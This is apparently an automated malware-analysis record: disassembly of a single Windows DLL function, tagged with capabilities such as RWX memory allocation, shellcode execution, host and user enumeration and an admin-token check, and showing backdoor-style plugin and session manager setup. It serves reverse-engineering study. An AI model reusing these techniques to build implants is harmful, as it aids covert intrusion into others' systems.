Function at 0x10001950
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get hostname
Get session user name
Get token membership

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100992bf
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x100b5004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0xf64
lea edi, [ebx + 8]
mov dword [ebx], 0
push 0
push edi
mov dword [ebx + 0x5044], 0
mov dword [ebx + 0x5048], 0
mov dword [ebx + 0x503c], 0
mov dword [ebx + 0x5040], 0
call fcn.1007d2d0
push 0x40cf
lea eax, [ebx + 0xf6c]
push 0
push eax
call fcn.1007d2d0
add esp, 0x18
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 4], eax
cmp dword [0x100b5a48], 0x67616c66
jne 0x10001a60
push 0x5033
push 0
push 0x100b5a48
call fcn.1007d2d0
mov eax, dword [0x100b5a40]
mov ecx, 0x2b67
mov esi, eax
push 0x40cf
mov word [eax + 0xfa4], cx
mov ecx, 0x3d9
mov dword [eax + 0xedc], 5
mov dword [eax + 0xf20], 1
mov dword [eax + 0x4fef], 1
mov byte [eax + 0xfa6], 8
add eax, 0xf64
push eax
lea eax, [ebx + 0xf6c]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1007e990
add esp, 0x18
jmp 0x10001b2e
mov eax, dword [0x100b5a40]
mov ecx, 0x3d9
mov esi, eax
add eax, 0xf64
push 0x40cf
push eax
lea eax, [ebx + 0xf6c]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.1007e990
add esp, 0xc
mov dword [ebp - 0x22c], 0x104
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0x104
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov al, byte [ebp - 0x114]
lea esi, [ebp - 0x114]
xor edx, edx
test al, al
je 0x10001aee
mov ecx, edx
movsx eax, al
shl edx, 5
lea esi, [esi + 1]
sar ecx, 0x1b
xor edx, ecx
xor edx, eax
mov al, byte [esi]
test al, al
jne 0x10001ad6
mov edi, dword [ebx + 0xf28]
lea esi, [ebp - 0x218]
add edi, edx
xor eax, eax
mov dl, byte [ebp - 0x218]
test dl, dl
je 0x10001b20
mov ecx, eax
lea esi, [esi + 1]
shl eax, 5
sar ecx, 0x1b
xor ecx, eax
movsx eax, dl
mov dl, byte [esi]
xor eax, ecx
test dl, dl
jne 0x10001b08
add eax, edi
mov dword [ebx + 0xf28], eax
mov dword [ebx + 0x4ff7], eax
push 0x5033
push 0
push 0x100b5a48
call fcn.1007d2d0
add esp, 0xc
cmp dword [ebx + 8], 0
je 0x10001b50
mov eax, dword [ebx + 0xf28]
mov dword [ebx], eax
cmp byte [ebx + 0xfae], 0
je 0x10001b61
mov eax, dword [ebx + 0x4ff7]
mov dword [ebx], eax
push 0xe8
call fcn.1007bcba
mov esi, eax
mov dword [ebp - 0x21c], esi
push 0xe8
push 0
push esi
mov dword [ebp - 4], 0
call fcn.1007d2d0
add esp, 0x10
mov ecx, esi
push dword [ebx]
call fcn.100013a0
mov dword [ebp - 4], 0xffffffff
push 0x78
mov dword [ebx + 0x504c], eax
call fcn.1007bcba
mov edi, eax
mov dword [ebp - 0x234], edi
push 0x78
push 0
push edi
mov dword [ebp - 4], 1
call fcn.1007d2d0
mov dword [edi], vtable.CXPluginMgrClient.0
mov dword [edi + 0x2c], 0
mov byte [ebp - 4], 3
lea esi, [edi + 0x30]
mov dword [ebp - 0x21c], esi
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.1007bcba
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
lea esi, [edi + 0x50]
mov byte [ebp - 4], 4
push 0x24
mov dword [ebp - 0x230], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.1007bcba
add esp, 0x18
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
lea eax, [edi + 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push eax
call esi
lea eax, [edi + 0x58]
push eax
call esi
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0
push eax
push 0x40
push 0x885
push 0x100baa80
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [edi + 0x70], 0x100baa80
mov dword [ebp - 4], 0xffffffff
push 0x88
mov dword [ebx + 0x5050], edi
call fcn.1007bcba
mov esi, eax
mov dword [ebp - 0x21c], esi
push 0x88
mov dword [ebp - 4], 5
push 0
push esi
call fcn.1007d2d0
mov edi, dword [ebx]
mov dword [esi], vtable.CXSessionMgr.0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
add esi, 0x64
mov byte [ebp - 4], 8
push 0x5c
mov dword [ebp - 0x230], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.1007bcba
add esp, 0x14
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov esi, dword [ebp - 0x21c]
mov dword [esi + 4], edi
lea edi, [esi + 8]
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x10001d21
mov edx, dword [ecx]
cmp ecx, edi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [edi + 0x24], 0
lea eax, [ebp - 0x22c]
mov dword [esi + 0x30], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x12
push 1
lea eax, [ebp - 0x224]
mov byte [esi + 0x35], 0
push eax
mov dword [esi + 0x38], 0
mov dword [ebp - 0x224], 0
mov word [ebp - 0x220], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x228], eax
test eax, eax
je 0x10001d9d
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x22c]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x228]
push 0
push 0
cmp eax, 1
push 1
sete al
push 0
mov byte [esi + 0x34], al
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [esi + 0x6c]
push ecx
mov dword [esi + 0x3c], eax
call edi
lea ecx, [esi + 0x4c]
push ecx
call edi
mov dword [ebx + 0x5054], esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret